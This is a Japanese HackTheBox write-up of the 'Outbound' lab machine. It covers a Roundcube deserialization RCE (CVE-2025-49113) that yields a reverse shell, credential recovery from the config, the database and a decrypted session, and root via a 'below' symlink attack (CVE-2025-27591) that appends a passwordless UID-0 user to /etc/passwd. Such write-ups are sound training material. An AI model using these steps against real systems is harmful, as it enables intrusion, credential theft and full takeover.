はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Outboundです。
Outboundでは、RoundcubeやBelowの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 23:26 JST
Nmap scan report for mail.outbound.htb (10.10.11.77)
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Roundcube Webmail :: Welcome to Roundcube Webmail
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.99 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後mail.outbound.htbにアクセスすると、以下の様な画面が表示されます。
Roundcubeは、IMAPを用いたWebメールクライアントです。提供されているtylerユーザーの認証情報を使用してログインを行います。
「About」よりRoundcubeのバージョンは、1.6.10であることが確認できました。
脆弱性分析
Google検索でRoundcubeの脆弱性を調査した結果、CVE-2025-49113が見つかりました。
CVE-2025-49113は、Roundcube Webmail 1.5.10より前のバージョン及び1.6.11より前の1.6.xバージョンに関して、URLの_fromパラメータがprogram/actions/settings/upload.phpファイルで検証されないことによって、PHPオブジェクトのデシリアライゼーションが発生し、RCEが実行できます。
システムハッキング
上記で発見した脆弱性を利用して、足場を作ります。
アクセスの獲得
GitHubで見つけたPocを実行します。
このエクスプロイトコードは、脆弱なバージョンのRoundcubeを実行しているか確認し、脆弱性のバージョンに該当する場合、画像ファイルのファイル名に悪意のあるオブジェクトを注入することでRCEを実行しています。
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
エクスプロイト実行後リバースシェルが取得できました。
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.77] 54602
bash: cannot set terminal process group (245): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/$
ユーザーフラグ
横展開を行うため、/homeディレクトリを参照してターゲットを確認します。
total 20
drwxr-x--- 1 jacob jacob 4096 Jun 7 13:55 jacob
drwxr-x--- 1 mel mel 4096 Jun 8 12:06 mel
drwxr-x--- 1 tyler tyler 4096 Jun 8 13:28 tyler
上記結果より、ターゲットはjacobまたはmelユーザと推測できます。認証情報を探すため、/var/www/html/roundcubeディレクトリに移動します。
total 392
-rw-r--r-- 1 www-data www-data 216244 Feb 8 08:47 CHANGELOG.md
-rw-r--r-- 1 www-data www-data 12714 Feb 8 08:47 INSTALL
-rw-r--r-- 1 www-data www-data 35147 Feb 8 08:47 LICENSE
-rw-r--r-- 1 www-data www-data 3853 Feb 8 08:47 README.md
-rw-r--r-- 1 www-data www-data 1049 Feb 8 08:47 SECURITY.md
drwxr-xr-x 7 www-data www-data 4096 Feb 8 08:47 SQL
-rw-r--r-- 1 www-data www-data 4657 Feb 8 08:47 UPGRADING
drwxr-xr-x 2 www-data www-data 4096 Feb 8 08:47 bin
-rw-r--r-- 1 www-data www-data 1086 Feb 8 08:47 composer.json
-rw-r--r-- 1 www-data www-data 56802 Feb 8 08:47 composer.lock
drwxr-xr-x 2 www-data www-data 4096 Jun 6 18:55 config
-rw-r--r-- 1 www-data www-data 11200 Feb 8 08:47 index.php
drwxr-xr-x 1 www-data www-data 4096 Jul 22 14:10 logs
drwxr-xr-x 37 www-data www-data 4096 Feb 8 08:47 plugins
drwxr-xr-x 8 www-data www-data 4096 Feb 8 08:47 program
drwxr-xr-x 3 www-data www-data 4096 Jun 6 18:55 public_html
drwxr-xr-x 3 www-data www-data 4096 Feb 8 08:47 skins
drwxr-xr-x 1 www-data www-data 4096 Jul 22 14:35 temp
drwxr-xr-x 14 www-data www-data 4096 Feb 8 08:47 vendor
configディレクトリを確認します。
total 76
-rw-r--r-- 1 root root 3024 Jun 6 18:55 config.inc.php
-rw-r--r-- 1 www-data www-data 2943 Feb 8 08:47 config.inc.php.sample
-rw-r--r-- 1 www-data www-data 65000 Feb 8 08:47 defaults.inc.php
-rw-r--r-- 1 www-data www-data 2806 Feb 8 08:47 mimetypes.php
config.inc.phpファイルよりデータベースのパスワードを発見しました。
$config['db_dsnw'] = 'mysql://roundcube:[REDACTED]@localhost/roundcube';
以下のコマンドを実行して、データベースに接続します。
$ mysql -u roundcube -h localhost -p
データベースに接続はできるものの、ttyが存在しないことでバッファリングが発生するため、以下のコマンドを実行して擬似端末を作成します。
$ script /dev/null
script /dev/null
Script started, output log file is '/dev/null'.
再度mysqlコマンドを実行すると、コマンドの出力が確認できます。
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 9683
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
以下のコマンドを実行して、データベースを確認します。
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
2 rows in set (0.001 sec)
roundcubeデータベースに接続します。
MariaDB [(none)]> use roundcube;
use roundcube;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [roundcube]>
以下のコマンドを実行して、テーブルを確認します。
MariaDB [roundcube]> show tables;
show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.001 sec)
上記結果よりusersテーブルを確認します。
MariaDB [roundcube]> select * from users;
select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-07-22 15:00:13 | 2025-06-11 07:51:22 | 1 | en_US | a:2:{s:11:"client_hash";s:16:"HfXC9inPGFBUKrkf";i:0;b:0;} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
3 rows in set (0.000 sec)
usersテーブルの結果は利用できませんでしたが、sessionテーブルを確認すると、興味深いレコードが見つかります。
MariaDB [roundcube]> select * from session;
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7
上記varsの値についてBase64を用いてデコードすると、jacobユーザのパスワードが見つかりました。
発見したjacobユーザのパスワードはBase64にエンコードされているバイナリになるため、Base64及び16進数を用いてデコードします。
Roundcubeのソースコードよりdefaults.inc.phpのコメントを参考にすると、RoundcubeはTriple DES(CBC)を使用して暗号化していることが分かります。従ってconfig.inc.phpファイルより取得したキーを用いて復号化を行います。
CBCモードは、IVとciphertextで構成されているため、先頭8バイトはIV、残り16バイトの暗号化データはInputに指定します。
復号化したパスワードを使用して、jacobユーザにスイッチします。
$ su - jacob
total 8
drwx------ 1 jacob jacob 4096 Jul 9 12:41 mail
メールボックスを確認すると、新たな認証情報が確認できます。
$ cat mail/INBOX/jacob
cat mail/INBOX/jacob
From tyler@outbound.htb Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status:
X-Keywords:
Content-Length: 233
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: REDACTED
Remember to change your password when you next log into your account.
Thanks!
Tyler
jacobユーザでSSH接続を行います。ログイン後、ユーザーフラグが確認できます。
$ ssh jacob@mail.outbound.htb
total 28
drwxr-x--- 3 jacob jacob 4096 Jul 8 20:14 .
drwxr-xr-x 5 root root 4096 Jul 8 20:14 ..
lrwxrwxrwx 1 root root 9 Jul 8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 jacob jacob 220 Jun 8 12:14 .bash_logout
-rw-r--r-- 1 jacob jacob 3771 Jun 8 12:14 .bashrc
drwx------ 2 jacob jacob 4096 Jun 11 11:32 .cache
-rw-r--r-- 1 jacob jacob 807 Jun 8 12:14 .profile
-rw-r----- 1 root jacob 33 Jul 22 15:14 user.txt
ルートフラグ
sudo -lコマンドを実行すると、NOPASSWDでbelowコマンドが実行できることを確認できます。
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
belowは、Metaがオープンソースとして開発しているLinux向けのリソースモニターです。
belowの脆弱性について調査したところ、CVE-2025-27591の脆弱性が確認できました。
CVE-2025-27591は、/var/log/belowディレクトリに誰でも書き込み可能なディレクトリが作成されることに起因する権限昇格の脆弱性です。
この脆弱性を悪用することで、ローカルの権限のないユーザーが/etc/shadowファイルなどのシンボリックリンク攻撃を通じて、root権限に昇格できる可能性が存在します。
/var/log/below/ディレクトリを確認します。
total 16
drwxrwxrwx 3 root root 4096 Jul 14 16:39 ./
drwxrwxr-x 13 root syslog 4096 Jul 28 13:36 ../
-rw-rw-rw- 1 jacob jacob 236 Jul 8 20:45 error_jacob.log
-rw-rw-rw- 1 root root 0 Jul 14 16:39 error_root.log
drwxr-xr-x 2 root root 4096 Jul 28 13:35 store/
既にerror_root.logファイルが存在する場合は削除します。
$ rm error_root.log
以下のコマンドを実行して、/etc/passwdファイルを元にシンボリックファイルを作成します。
$ ln -s /etc/passwd /var/log/below/error_root.log
total 16
drwxrwxrwx 3 root root 4096 Jul 28 13:44 ./
drwxrwxr-x 13 root syslog 4096 Jul 28 13:36 ../
-rw-rw-rw- 1 jacob jacob 236 Jul 8 20:45 error_jacob.log
lrwxrwxrwx 1 jacob jacob 11 Jul 28 13:44 error_root.log -> /etc/passwd
drwxr-xr-x 2 root root 4096 Jul 28 13:35 store/
belowコマンドを実行することで、ログファイルの出力をトリガーします。
$ sudo /usr/bin/below record
Jul 28 13:47:50.109 DEBG Starting up!
Jul 28 13:47:50.110 ERRO
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01753660800: EAGAIN: Try again
-------------------------------------------------------------
error_root.logファイルに以下の値を書き込みます。
$ echo attacker::0:0:attacker:/root:/bin/bash >> error_root.log
attacker::0:0:attacker:/root:/bin/bash
attackerユーザにスイッチすると、ルートユーザに昇格できます。
$ su - attacker
root@outbound:~#
おわりに
ユーザフラグは、暗号化の知識を問われる面白いMachineでした。
また、ルートフラグについてもシンボリックリンク攻撃に関する学びがありました。





